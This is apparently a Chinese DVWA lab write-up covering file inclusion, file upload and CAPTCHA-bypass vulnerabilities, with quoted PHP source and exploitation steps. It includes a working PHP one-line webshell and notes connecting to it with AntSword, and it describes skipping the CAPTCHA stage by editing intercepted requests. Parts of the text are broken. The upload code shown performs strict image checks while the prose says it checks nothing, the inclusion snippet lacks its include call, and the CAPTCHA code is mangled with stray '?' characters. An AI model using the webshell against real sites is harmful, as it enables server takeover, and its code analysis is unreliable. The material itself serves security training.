目录
File Inclusion(文件包含)
(low)?
File Upload(文件上传)
(low)
Insecure CAPTCHA(不安全的验证码/不安全的验证流程)
?(low)
File Inclusion(文件包含)
File Inclusion,即文件包含,是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。
文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。
包含,往往用在复用的地方,比如写了一个连接数据库的方法,直接ctrl+c,ctrl+v就可以用,不用自己再写,是使用include关键字来引用你的方法
DVWA是通过文件包含,来调用file1.php/file2.php/file3.php
文件包含:
开发人员将相同的函数写入单独的文件中,需要使用某个函数时直接调用此文件,无需再次编写,这种文件调用的过程称文件包含。
文件包含漏洞:
开发人员为了使代码更灵活,会将被包含的文件设置为变量,用来进行动态调用,从而导致客户端可以恶意调用一个恶意文件,造成文件包含漏洞。
二、文件包含漏洞用到的函数
require:找不到被包含的文件,报错,并且停止运行脚本。
include:找不到被包含的文件,只会报错,但会继续运行脚本。
require_once:与require类似,区别在于当重复调用同一文件时,程序只调用一次。
include_once:与include类似,区别在于当重复调用同一文件时,程序只调用一次。
相关的 php.ini 配置参数:
allow_url_fopen = on (默认开启)
allow_url_include = on (默认关闭)
(low)
查看源码?
<?php
// The page we wish to display
//直接获取page参数,未做任何过滤
$file = $_GET[ 'page' ];
?>
我们先点击一下,发现page的参数值,就是点击的文件名
点击下面的三个链接,服务器会包含相应的文件,并将结果返回。
服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。
尝试查看phpinfo.php文件
File Upload(文件上传)
在文件上传的功能处,若服务端脚本语言未对上传的文件进行严格验证和过滤,导致恶意用户上传恶意的脚本文件时,就有可能获取执行服务端命令的能力,这就是文件上传漏洞。 文件上传漏洞对Web应用来说是一种非常严重的漏洞。一般情况下,Web应用都会允许用户上传一些文件,如头像、附件等信息,如果Web应用没有对用户上传的文件进行有效的检查过滤,那么恶意用户就会上传一句话木马等Webshell,从而达到控制Web网站的目的。
文件上传漏洞成因 1.未过滤或Web前端过滤被绕过
2.文件检测被绕过
3.中间件解析
4.不完善的黑名单扩展名
5.文件路径截断
6.HTTP不安全方法(PUT协议)
(low)
DVWA是让用户上传一个图片
?分析源码:
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
//文件的目标路径hackable/uploads/,也就是文件上传的位置
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );
// Can we move the file to the web root from the temp folder?
//移动用户上传文件至目标路径
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
}
else {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
可以看到,服务器对上传文件的类型、内容没有做任何的检查、过滤,存在明显的文件上传漏洞,生成上传路径后,服务器会检查是否上传成功并返回相应提示信息。
文件上传漏洞的利用是有限制条件的,首先是要能够成功上传木马文件,其次上传文件必须能够被执行,最后就是上传文件的路径必须可知。这里三个条件全都满足。
上传一个一句话
<?php @eval($_POST['zy']);?>
?
复制路径?
用蚁剑连接
?
成功连接
Insecure CAPTCHA(不安全的验证码/不安全的验证流程)
Insecure CAPTCHA,意思是不安全的验证码,CAPTCHA是Completely Automated Public Turing Test to Tell Computers and Humans Apart (全自动区分计算机和人类的图灵测试)的简称。
DVWA中是输入当前的密码以及新密码,用来修改密码
验证流程:
用户首先访问网页,触发页面的验证码的js模块,向谷歌服务器发起请求,谷歌服务器将验证码发给用户。用户输入验证码发送数据回去,这里发给的是访问网站的服务器,网站的服务器拿到验证码后,再去访问谷歌的服务器,谷歌的服务器会判断验证码是否正确,再将结果返回给网站服务器。
?(low)
分析源码:
<?php
//第一阶段,验证身份,验证阶段为step if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) { ? ? // Hide the CAPTCHA form //隐藏验证码表单 ? ? $hide_form = true;
? ? // Get input //得到用户的新密码及确认新密码 ? ? $pass_new ?= $_POST[ 'password_new' ]; ? ? $pass_conf = $_POST[ 'password_conf' ];
? ? // Check CAPTCHA from 3rd party //使用第三方进行身份验证 //recaptcha_check_answer($privkey,$remoteip, $challenge,$response) 参数$privkey是服务器申请的private key,$remoteip是用户的ip,$challenge是recaptcha_challenge_field字段的值,来自前端页面 ,$response是recaptcha_response_field字段的值。函数返回ReCaptchaResponse class的实例,ReCaptchaResponse类有2个属性 : $is_valid是布尔型的,表示校验是否有效, $error是返回的错误代码。 ? ? $resp = recaptcha_check_answer( ? ? ? ? $_DVWA[ 'recaptcha_private_key'], ? ? ? ? $_POST['g-recaptcha-response'] ? ? );
? ? // Did the CAPTCHA fail? ? ? if( !$resp ) { ? ? ? ? // What happens when the CAPTCHA was entered incorrectly //验证失败时 ? ? ? ? $html ? ? .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"; ? ? ? ? $hide_form = false; ? ? ? ? return; ? ? } ? ? else { ? ? ? ? // CAPTCHA was correct. Do both new passwords match? //验证通过时,匹配两次密码是否一致 ? ? ? ? if( $pass_new == $pass_conf ) { ? ? ? ? ? ? // Show next stage for the user ? ? ? ? ? ? echo " ? ? ? ? ? ? ? ? <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre> ? ? ? ? ? ? ? ? <form action=\"#\" method=\"POST\"> ? ? ? ? ? ? ? ? ? ? <input type=\"hidden\" name=\"step\" value=\"2\" /> ? ? ? ? ? ? ? ? ? ? <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" /> ? ? ? ? ? ? ? ? ? ? <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" /> ? ? ? ? ? ? ? ? ? ? <input type=\"submit\" name=\"Change\" value=\"Change\" /> ? ? ? ? ? ? ? ? </form>"; ? ? ? ? } ? ? ? ? else { ? ? ? ? ? ? // Both new passwords do not match. ? ? ? ? ? ? $html ? ? .= "<pre>Both passwords must match.</pre>"; ? ? ? ? ? ? $hide_form = false; ? ? ? ? } ? ? } }
//第二阶段,检查两次密码是否一致,并更新密码 if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) { ? ? // Hide the CAPTCHA form ? ? $hide_form = true;
? ? // Get input ? ? $pass_new ?= $_POST[ 'password_new' ]; ? ? $pass_conf = $_POST[ 'password_conf' ];
? ? // Check to see if both password match ? ? if( $pass_new == $pass_conf ) { ? ? ? ? // They do! ? ? ? ? $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], ?$pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); ? ? ? ? $pass_new = md5( $pass_new );
? ? ? ? // Update database ? ? ? ? $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; ? ? ? ? $result = mysqli_query($GLOBALS["___mysqli_ston"], ?$insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
? ? ? ? // Feedback for the end user ? ? ? ? echo "<pre>Password Changed.</pre>"; ? ? } ? ? else { ? ? ? ? // Issue with the passwords matching ? ? ? ? echo "<pre>Passwords did not match.</pre>"; ? ? ? ? $hide_form = false; ? ? }
? ? ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); }
?> ?
?
第一阶段
验证用户身份,服务器会用私钥对用户进行身份验证,如果验证成功了才能进行修改密码
第二阶段
如果两次输入的密码一致,就进行修改
那么如果能绕过第一阶段,是不是只要两次密码输入一致就能修改了?
我们通过抓包修改:
?跳过第一个步骤
成功修改?
?
|